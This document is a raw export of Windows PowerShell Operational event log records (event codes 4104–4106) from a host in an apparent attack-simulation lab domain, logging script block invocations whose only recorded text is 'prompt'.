Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 51690bde-47a7-4a7f-87f1-05acb76b284c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476860
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:03:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476883
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6684bd1c-04e3-48b3-b530-ecb882de8d4f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476880
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476879
Keywords=None
Message=Started invocation of ScriptBlock ID: 6684bd1c-04e3-48b3-b530-ecb882de8d4f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476878
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 6684bd1c-04e3-48b3-b530-ecb882de8d4f
Path:
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476877
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476876
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476875
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0ca0ac2-c748-4603-b111-ca66998a03d6
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476873
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476872
Keywords=None
Message=Started invocation of ScriptBlock ID: c0ca0ac2-c748-4603-b111-ca66998a03d6
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476871
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: c0ca0ac2-c748-4603-b111-ca66998a03d6
Path:
06/15/2021 05:04:10 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476870
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477263
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4b4b064f-8574-4edb-a956-f553aac1f7a4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477260
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477259
Keywords=None
Message=Started invocation of ScriptBlock ID: 4b4b064f-8574-4edb-a956-f553aac1f7a4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477258
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 4b4b064f-8574-4edb-a956-f553aac1f7a4
Path:
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477257
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477256
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477255
Keywords=None
Message=Completed invocation of ScriptBlock ID: e4e4e254-fb69-40ee-b4cf-c0286ae8b839
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477254
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477253
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477252
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477251
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477250
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477249
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477248
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477247
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477246
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477245
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477244
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477243
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477242
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477241
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477240
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477239
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477238
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477237
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477236
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477235
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477234
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477233
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477232
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477231
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477230
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477229
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477228
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477227
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477226
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
